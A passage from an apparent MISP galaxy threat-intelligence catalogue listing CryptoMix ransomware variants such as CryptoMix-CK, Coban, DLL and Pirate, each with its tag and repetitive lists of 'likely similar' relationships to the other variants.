- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-CK

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-CK"*

View relationships graph

CryptoMix-CK has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Coban

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Coban"*

View relationships graph

CryptoMix-Coban has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-DLL

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-DLL"*

View relationships graph

CryptoMix-DLL has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Empty

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Empty"*

View relationships graph

CryptoMix-Empty has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Error

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Error"*

View relationships graph

CryptoMix-Error has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Exte

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Exte"*

View relationships graph

CryptoMix-Exte has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

Cryptomix-FILE

Ransomware

The tag is: *misp-galaxy:ransomware="Cryptomix-FILE"*

View relationships graph

Cryptomix-FILE has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-MOLE66

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-MOLE66"*

View relationships graph

CryptoMix-MOLE66 has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Noob

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Noob"*

View relationships graph

CryptoMix-Noob has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Ogonia

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Ogonia"*

View relationships graph

CryptoMix-Ogonia has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Pirate" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Pirate

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Pirate"*

View relationships graph

CryptoMix-Pirate has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Arena" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Azer" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Backup" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-CK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Coban" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-DLL" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Empty" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Error" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Exte" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="Cryptomix-FILE" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-MOLE66" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Noob" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Ogonia" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Revenge" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-SERVER" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Shark" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-System" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Tastylock" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Test" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Wallet" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="Cryptomix-WORK" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-x1881" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-XZZX" with estimative-language:likelihood-probability="likely"
- similar: misp-galaxy:ransomware="CryptoMix-Zayka" with estimative-language:likelihood-probability="likely"

CryptoMix-Revenge

Ransomware

The tag is: *misp-galaxy:ransomware="CryptoMix-Revenge"*

View relationships graph

CryptoMix-Revenge has relationships with:

- similar: misp-galaxy:ransomware="CryptoMix" with estimative-language:likelihood-probability="likely"

- similar: misp-galaxy:ransomware="CryptoMix-0000" with estimative-language:likelihood-probability="likely"
